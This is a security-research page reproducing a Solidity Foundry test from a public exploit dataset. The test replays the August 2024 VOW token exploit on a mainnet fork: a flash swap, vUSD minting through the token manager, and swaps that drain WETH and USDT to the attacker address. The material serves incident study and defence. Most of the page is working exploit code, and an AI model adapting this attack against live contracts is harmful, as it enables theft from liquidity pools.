Skip to content
THREATWIRE

Public reproduction file

src/test/2024-08/VOW_exp.sol

Public reproduction file for dataset entry VOW.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-08/VOW_exp.sol119 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6import "forge-std/Test.sol";
7
8// @KeyInfo - Total Lost : ~ 1M USD
9// Attacker : https://etherscan.io/address/0x48de6bf9e301946b0a32b053804c61dc5f00c0c3
10// Attack Contract : https://etherscan.io/address/0xb7f221e373e3f44409f91c233477ec2859261758
11// Vulnerable Contract : https://etherscan.io/address/0x1bbf25e71ec48b84d773809b4ba55b6f4be946fb
12// Attack Tx : https://etherscan.io/tx/0x758efef41e60c0f218682e2fa027c54d8b67029d193dd7277d6a881a24b9a561
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x1bbf25e71ec48b84d773809b4ba55b6f4be946fb#code
17// @Analysis
18// Post-mortem :
19// Twitter Guy :
20// Hacking God :
21pragma solidity ^0.8.0;
23contract VOW is BaseTestWithBalanceLog {
24 uint256 blocknumToForkFrom = 20_519_309 - 1;
26 address private constant VOW_WETH_Pair = 0x7FdEB46b3a0916630f36E886D675602b1007Fcbb;
27 address private constant vUSD_VOW_Pair = 0x97BE09f2523B39B835Da9EA3857CfA1D3C660cBb;
28 address private constant VOW_USDT_Pair = 0x1E49768714E438E789047f48FD386686a5707db2;
30 address private constant vscTokenManager = 0x184497031808F2b6A2126886C712CC41f146E5dC;
31 address private constant vow = 0x1BBf25e71EC48B84d773809B4bA55B6F4bE946Fb;
32 address private constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
33 address private constant vUSD = 0x0fc6C0465C9739d4a42dAca22eB3b2CB0Eb9937A;
34 address private constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
36 address private constant attacker = 0x48de6bF9e301946b0a32b053804c61DC5f00c0c3;
38 function setUp() public {
39 vm.createSelectFork("mainnet", blocknumToForkFrom);
41 vm.startPrank(attacker);
42 IERC20(vow).approve(address(address(this)), type(uint256).max);
43 IERC20(vUSD).approve(address(address(this)), type(uint256).max);
44 vm.stopPrank();
45 }
47 function testExploit() public balanceLog {
48 //implement exploit code here
49 emit log_named_decimal_uint(
50 "Before exploit VOW balance of attacker:", IERC20(vow).balanceOf(attacker), IERC20(vow).decimals()
51 );
52 emit log_named_decimal_uint(
53 "Before exploit USDT balance of attacker:", IERC20(usdt).balanceOf(attacker), IERC20(usdt).decimals()
54 );
55 emit log_named_decimal_uint("Before exploit ETH balance of attacker:", attacker.balance, 18);
57 uint256 vowBalance = IERC20(vow).balanceOf(VOW_WETH_Pair);
58 Uni_Pair_V2(VOW_WETH_Pair).swap(vowBalance - 1, 0, address(this), hex"00");
60 vowBalance = IERC20(vow).balanceOf(address(this));
61 IERC20(vow).transfer(attacker, vowBalance / 10);
62 (uint112 reserve0, uint112 reserve1,) = Uni_Pair_V2(VOW_WETH_Pair).getReserves();
63 vowBalance = IERC20(vow).balanceOf(address(this));
64 IERC20(vow).transfer(VOW_WETH_Pair, vowBalance / 2);
66 uint256 amount0In = IERC20(vow).balanceOf(VOW_WETH_Pair) - reserve0;
67 uint256 amount1Out = getAmount1Out(reserve0, reserve1, amount0In);
68 Uni_Pair_V2(VOW_WETH_Pair).swap(0, amount1Out, address(this), hex"");
69 IWETH(payable(weth)).withdraw(amount1Out);
70 (bool success,) = attacker.call{value: amount1Out}("");
71 require(success, "Fail to send eth");
73 (reserve0, reserve1,) = Uni_Pair_V2(VOW_USDT_Pair).getReserves();
74 IERC20(vow).transfer(VOW_USDT_Pair, IERC20(vow).balanceOf(address(this)));
75 amount0In = IERC20(vow).balanceOf(VOW_USDT_Pair) - reserve0;
76 amount1Out = getAmount1Out(reserve0, reserve1, amount0In);
77 Uni_Pair_V2(VOW_USDT_Pair).swap(0, amount1Out, address(this), hex"");
78 (success,) = usdt.call(
79 abi.encodeWithSignature("transfer(address,uint256)", attacker, IERC20(usdt).balanceOf(address(this)))
80 );
81 require(success, "Fail to transfer USDT");
83 emit log_named_decimal_uint(
84 "After exploit: VOW balance of attacker:", IERC20(vow).balanceOf(attacker), IERC20(vow).decimals()
85 );
86 emit log_named_decimal_uint(
87 "After exploit: USDT balance of attacker:", IERC20(usdt).balanceOf(attacker), IERC20(usdt).decimals()
88 );
89 emit log_named_decimal_uint("After exploit: ETH balance of attacker:", attacker.balance, 18);
90 }
92 function uniswapV2Call(address sender, uint256 amount0, uint256, bytes calldata) external {
93 require(msg.sender == VOW_WETH_Pair, "not from pool");
94 require(sender == address(this), "not from this contract");
96 IERC20(vow).transfer(attacker, amount0);
98 IERC20(vow).transferFrom(attacker, vscTokenManager, amount0);
100 uint256 vUSDBalance = IERC20(vUSD).balanceOf(attacker);
101 IERC20(vUSD).transferFrom(attacker, address(this), vUSDBalance);
102 (uint112 reserve0, uint112 reserve1,) = Uni_Pair_V2(vUSD_VOW_Pair).getReserves();
103 IERC20(vUSD).transfer(vUSD_VOW_Pair, vUSDBalance);
105 uint256 amount0In = IERC20(vUSD).balanceOf(vUSD_VOW_Pair) - reserve0;
106 uint256 amount1Out = getAmount1Out(reserve0, reserve1, amount0In);
107 Uni_Pair_V2(vUSD_VOW_Pair).swap(0, amount1Out, address(this), hex"");
109 uint256 fee = amount0 * 3 / 997 + 1000;
110 uint256 amountToPay = amount0 + fee;
111 IERC20(vow).transfer(VOW_WETH_Pair, amountToPay);
112 }
114 function getAmount1Out(uint112 reserve0, uint112 reserve1, uint256 amount0In) private pure returns (uint256) {
115 return reserve1 * 997 * amount0In / (1000 * reserve0 + 997 * amount0In);
116 }
118 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “VOW” (2024-08-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x48de6bf9e301946b0a32b053804c61dc5f00c0c3

  • Attack Contract

    0xb7f221e373e3f44409f91c233477ec2859261758

  • Vulnerable Contract

    0x1bbf25e71ec48b84d773809b4ba55b6f4be946fb

  • Attack Tx

    0x758efef41e60c0f218682e2fa027c54d8b67029d193dd7277d6a881a24b9a561

File record

Name
VOW
Path
src/test/2024-08/VOW_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
beb5afc3f0804db5cd4bf8165fa78d28292a9760
Language
Solidity
Size
120 lines
Date
2024-08-13
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-08/VOW_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob beb5afc3f0804db5cd4bf8165fa78d28292a9760, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.